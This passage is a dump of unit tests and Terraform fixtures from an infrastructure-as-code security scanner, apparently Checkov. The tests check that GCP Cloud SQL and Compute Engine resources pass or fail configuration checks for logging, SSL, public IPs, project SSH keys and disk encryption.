    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudPostgreSqlLogDisconnection.py",
    "content": "\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleCloudPostgreSqlLogDisconnection import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleCloudPostgreSqlLogDisconnection(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CloudPostgreSQLLogDisconnection\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_sql_database_instance.pass\",\n        }\n\n        failing_resources = {\n            \"google_sql_database_instance.fail\",\n            \"google_sql_database_instance.fail2\",\n            \"google_sql_database_instance.unknown_var\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudPostgreSqlLogHostname.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleCloudPostgreSqlLogHostname import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleCloudPostgreSqlLogHostname(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GoogleCloudPostgreSqlLogHostname\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_sql_database_instance.pass\",\n        }\n\n        failing_resources = {\n            \"google_sql_database_instance.fail\",\n            \"google_sql_database_instance.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudPostgreSqlLogLockWaits.py",
    "content": "\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleCloudPostgreSqlLogLockWaits import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleCloudPostgreSqlLogLockWaits(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CloudPostgreSqlLogLockWaits\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_sql_database_instance.pass\",\n        }\n\n        failing_resources = {\n            \"google_sql_database_instance.fail\",\n            \"google_sql_database_instance.fail2\",\n            \"google_sql_database_instance.unknown_var\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudPostgreSqlLogMinDuration.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleCloudPostgreSqlLogMinDuration import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleCloudPostgreSqlLogCheckpoints(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CloudPostgreSqlLogMinDuration\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_sql_database_instance.pass\",\n            \"google_sql_database_instance.pass2\",\n            \"google_sql_database_instance.unknown_var\",\n        }\n\n        failing_resources = {\n            \"google_sql_database_instance.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudPostgreSqlLogMinErrorStatement.py",
    "content": "\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleCloudPostgreSqlLogMinErrorStatement import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleCloudPostgreSqlLogMinErrorStatement(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GoogleCloudPostgreSqlLogMinErrorStatement\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_sql_database_instance.pass\",\n        }\n\n        failing_resources = {\n            \"google_sql_database_instance.fail\",\n            \"google_sql_database_instance.fail2\",\n            \"google_sql_database_instance.fail3\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudPostgreSqlLogMinMessage.py",
    "content": "\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleCloudPostgreSqlLogMinMessage import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleCloudPostgreSqlLogMinMessage(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CloudPostgreSQLLogMinMessage\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_sql_database_instance.pass\",\n            \"google_sql_database_instance.pass2\",\n            \"google_sql_database_instance.unknown_var\",\n        }\n\n        failing_resources = {\n            \"google_sql_database_instance.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudPostgreSqlLogStatement.py",
    "content": "\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleCloudPostgreSqlLogStatement import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleCloudPostgreSqlLogStatement(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CloudPostgreSqlLogStatement\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_sql_database_instance.pass\",\n            \"google_sql_database_instance.pass2\",\n            \"google_sql_database_instance.pass3\",\n        }\n\n        failing_resources = {\n            \"google_sql_database_instance.fail\",\n            \"google_sql_database_instance.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudPostgreSqlLogTemp.py",
    "content": "\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleCloudPostgreSqlLogTemp import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleCloudPostgreSqlLogTemp(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CloudPostgreSQLLogTemp\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_sql_database_instance.pass\",\n            \"google_sql_database_instance.pass2\",\n            \"google_sql_database_instance.pass3\",\n            \"google_sql_database_instance.unknown_var\",\n        }\n\n        failing_resources = {\n            \"google_sql_database_instance.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudSqlBackupConfiguration.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.gcp.GoogleCloudSqlBackupConfiguration import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass GoogleCloudSqlDatabaseBackupConfiguration(unittest.TestCase):\n    def test_failure(self):\n        resource_conf = {\"name\": [\"google_cluster\"], \"monitoring_service\": [\"none\"]}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {\n            \"name\": [\"terraform-master\"],\n            \"region\": [\"asia-northeasteast1\"],\n            \"database_version\": [\"MYSQL_5_6\"],\n            \"project\": [\"test-141901\"],\n            \"settings\": [\n                {\n                    \"tier\": [\"db-f1-micro\"],\n                    \"replication_type\": [\"SYNCHRONOUS\"],\n                    \"backup_configuration\": [{\"enabled\": [True], \"start_time\": [\"17:00\"]}],\n                    \"ip_configuration\": [{\"ipv4_enabled\": [True]}],\n                    \"database_flags\": [\n                        {\"name\": [\"slow_query_log\", \"character_set_server\"], \"value\": [\"on\", \"utf8mb4\"]}\n                    ],\n                }\n            ],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_replica_unknown(self):\n        resource_conf = {\"name\": [\"google_cluster\"], \"monitoring_service\": [\"none\"], \"master_instance_name\": \"foo\"}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.UNKNOWN, scan_result)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudSqlDatabasePublicallyAccessible.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GoogleCloudSqlDatabasePubliclyAccessible import check\nfrom checkov.terraform.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestGoogleCloudSqlDatabasePubliclyAccessible(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_GoogleCloudSqlDatabasePubliclyAccessible\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudSqlDatabaseRequireSsl.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.gcp.GoogleCloudSqlDatabaseRequireSsl import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass GoogleCloudSqlDatabaseRequireSsl(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {'name': ['google_cluster'], 'monitoring_service': ['none']}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_requiressl_false(self):\n        resource_conf = {'settings': [{'tier': ['1'], 'ip_configuration': [{'require_ssl': [False]}]}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_requiressl(self):\n        resource_conf = {'settings': [{'tier': ['1'], 'ip_configuration': [{'require_ssl': [True]}]}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure_sslmode_encryptonly(self):\n        resource_conf = {'settings': [{'tier': ['1'], 'ip_configuration': [{'ssl_mode': [\"ENCRYPTED_ONLY\"]}]}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_sslmode_trustedclient(self):\n        resource_conf = {'settings': [{'tier': ['1'], 'ip_configuration': [{'ssl_mode': [\"TRUSTED_CLIENT_CERTIFICATE_REQUIRED\"]}]}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_sqlserver_sslmode_encryptedonly(self):\n        resource_conf = {'database_version': [\"SQLSERVER_2022_STANDARD\"],'settings': [{'tier': ['1'], 'ip_configuration': [{'ssl_mode': [\"ENCRYPTED_ONLY\"]}]}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudSqlServerContainedDBAuthentication.py",
    "content": "\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleCloudSqlServerContainedDBAuthentication import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleCloudSqlServerContainedDBAuthentication(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CloudSQLServerContainerDBAuthentication\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_sql_database_instance.pass\",\n            \"google_sql_database_instance.pass2\",\n            \"google_sql_database_instance.pass3\",\n            \"google_sql_database_instance.pass4\",\n            \"google_sql_database_instance.unknown_var\",\n        }\n\n        failing_resources = {\n            \"google_sql_database_instance.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudSqlServerCrossDBOwnershipChaining.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleCloudSqlServerCrossDBOwnershipChaining import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudSQLServerCrossDBOwnershipChaining(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CloudSQLServerCrossDBOwnershipChaining\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_sql_database_instance.pass\",\n            \"google_sql_database_instance.pass2\",\n            \"google_sql_database_instance.pass3\",\n            \"google_sql_database_instance.unknown_var\",\n        }\n\n        failing_resources = {\n            \"google_sql_database_instance.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleCloudSqlServerNoPublicIP.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.GoogleCloudSqlServerNoPublicIP import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGoogleCloudSqlServerNoPublicIP(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CloudSQLServerNoPublicIP\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_sql_database_instance.pass\",\n            \"google_sql_database_instance.pass2\",\n            \"google_sql_database_instance.pass3\",\n            \"google_sql_database_instance.pass4\",\n        }\n\n        failing_resources = {\n            \"google_sql_database_instance.fail\",\n            \"google_sql_database_instance.fail_not_list\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeBlockProjectSSH/google_compute_instance.tf",
    "content": "resource \"google_compute_instance\" \"fail1\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n}\n\nresource \"google_compute_instance\" \"fail2\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n  metadata = {\n    block-project-ssh-keys = false\n  }\n}\n\nresource \"google_compute_instance\" \"success1\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n  metadata = {\n    block-project-ssh-keys = true\n  }\n}\n\nresource \"google_compute_instance\" \"success2\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n  metadata = {\n    block-project-ssh-keys = \"true\"\n  }\n}\n\nresource \"google_compute_instance\" \"success3\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n  metadata = {\n    block-project-ssh-keys = \"True\"\n  }\n}\n\nresource \"google_compute_instance\" \"success4\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n  metadata = {\n    block-project-ssh-keys = \"TRUE\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeBlockProjectSSH/google_compute_instance_from_template.tf",
    "content": "resource \"google_compute_instance_from_template\" \"fail1\" {\n  name                     = \"test\"\n  source_instance_template = google_compute_instance_template.default.id\n  metadata {\n    foo                    = \"bar\"\n    hey                    = \"oh\"\n    block-project-ssh-keys = false\n  }\n}\n\nresource \"google_compute_instance_from_template\" \"success1\" {\n  name                     = \"test\"\n  source_instance_template = google_compute_instance_template.default.id\n  metadata = {\n    foo                    = \"bar\"\n    hey                    = \"oh\"\n    block-project-ssh-keys = true\n  }\n}\n\nresource \"google_compute_instance_from_template\" \"success2\" {\n  name                     = \"test\"\n  source_instance_template = google_compute_instance_template.default.id\n  metadata = {\n    foo                    = \"bar\"\n    hey                    = \"oh\"\n    block-project-ssh-keys = \"true\"\n  }\n}\n\nresource \"google_compute_instance_from_template\" \"success3\" {\n  name                     = \"test\"\n  source_instance_template = google_compute_instance_template.default.id\n  metadata = {\n    foo                    = \"bar\"\n    hey                    = \"oh\"\n    block-project-ssh-keys = \"True\"\n  }\n}\n\nresource \"google_compute_instance_from_template\" \"success4\" {\n  name                     = \"test\"\n  source_instance_template = google_compute_instance_template.default.id\n  metadata = {\n    foo                    = \"bar\"\n    hey                    = \"oh\"\n    block-project-ssh-keys = \"TRUE\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeBlockProjectSSH/google_compute_instance_template.tf",
    "content": "resource \"google_compute_instance_template\" \"fail1\" {\n  name         = \"test\"\n  machine_type = \"e2-medium\"\n\n  disk {\n    source_image = \"debian-cloud/debian-9\"\n    auto_delete  = true\n    disk_size_gb = 100\n    boot         = true\n  }\n\n  network_interface {\n    network = \"default\"\n  }\n\n  can_ip_forward = true\n}\n\nresource \"google_compute_instance_template\" \"fail2\" {\n  name         = \"test\"\n  machine_type = \"e2-medium\"\n\n  disk {\n    source_image = \"debian-cloud/debian-9\"\n    auto_delete  = true\n    disk_size_gb = 100\n    boot         = true\n  }\n\n  network_interface {\n    network = \"default\"\n  }\n\n  metadata = {\n    foo = \"bar\"\n  }\n\n  can_ip_forward = true\n}\n\nresource \"google_compute_instance_template\" \"success1\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n\n  disk {\n    source_image = \"debian-cloud/debian-9\"\n    auto_delete  = true\n    disk_size_gb = 100\n    boot         = true\n  }\n\n  network_interface {\n    network = \"default\"\n  }\n\n  can_ip_forward = true\n  metadata = {\n    foo                    = \"bar\",\n    block-project-ssh-keys = true\n  }\n}\n\nresource \"google_compute_instance_template\" \"success2\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n\n  disk {\n    source_image = \"debian-cloud/debian-9\"\n    auto_delete  = true\n    disk_size_gb = 100\n    boot         = true\n  }\n\n  network_interface {\n    network = \"default\"\n  }\n\n  can_ip_forward = true\n  metadata = {\n    foo                    = \"bar\",\n    block-project-ssh-keys = \"true\"\n  }\n}\n\nresource \"google_compute_instance_template\" \"success3\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n\n  disk {\n    source_image = \"debian-cloud/debian-9\"\n    auto_delete  = true\n    disk_size_gb = 100\n    boot         = true\n  }\n\n  network_interface {\n    network = \"default\"\n  }\n\n  can_ip_forward = true\n  metadata = {\n    foo                    = \"bar\",\n    block-project-ssh-keys = \"True\"\n  }\n}\n\nresource \"google_compute_instance_template\" \"success4\" {\n  name         = \"test\"\n  machine_type = \"n1-standard-1\"\n  zone         = \"us-central1-a\"\n\n  disk {\n    source_image = \"debian-cloud/debian-9\"\n    auto_delete  = true\n    disk_size_gb = 100\n    boot         = true\n  }\n\n  network_interface {\n    network = \"default\"\n  }\n\n  can_ip_forward = true\n  metadata = {\n    foo                    = \"bar\",\n    block-project-ssh-keys = \"TRUE\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeBlockProjectSSH.py",
    "content": "import unittest\nimport os\nimport hcl2\n\nfrom checkov.terraform.checks.resource.gcp.GoogleComputeBlockProjectSSH import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestGoogleComputeBlockProjectSSH(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/test_GoogleComputeBlockProjectSSH\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_compute_instance.success1',\n            'google_compute_instance.success2',\n            'google_compute_instance.success3',\n            'google_compute_instance.success4',\n            'google_compute_instance_template.success1',\n            'google_compute_instance_template.success2',\n            'google_compute_instance_template.success3',\n            'google_compute_instance_template.success4',\n            'google_compute_instance_from_template.success1',\n            'google_compute_instance_from_template.success2',\n            'google_compute_instance_from_template.success3',\n            'google_compute_instance_from_template.success4',\n        }\n        failing_resources = {\n            'google_compute_instance.fail1',\n            'google_compute_instance.fail2',\n            'google_compute_instance_template.fail1',\n            'google_compute_instance_template.fail2',\n            'google_compute_instance_from_template.fail1',\n        }\n        unknown_resources = {\n            'google_compute_instance_from_template.unknown1',\n            'google_compute_instance_from_template.unknown2',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n        #unknown_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 12)\n        self.assertEqual(summary['failed'], 5)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n    def test_unknown_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_from_template\" \"default\" {\n              name         = \"test\"\n              source_instance_template = google_compute_instance_template.default.id\n              metadata = {\n                foo = \"bar\"\n                hey = \"oh\"\n                }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_from_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.UNKNOWN, scan_result)\n\n    def test_unknown_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"google_compute_instance_from_template\" \"default\" {\n              name         = \"test\"\n              source_instance_template = google_compute_instance_template.default.id\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_compute_instance_from_template']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.UNKNOWN, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GoogleComputeBootDiskEncryption.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GoogleComputeBootDiskEncryption import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.plan_runner import Runner as PlanRunner\n\n\nclass TestGoogleComputeBootDiskEncryption(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_GoogleComputeBootDiskEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_compute_instance.good'\n        }\n        failing_resources = {\n            'google_compute_instance.bad',\n            'google_compute_instance.bad2'\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n    def test_terraform_plan(self):\n        runner = PlanRunner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_path = current_dir + 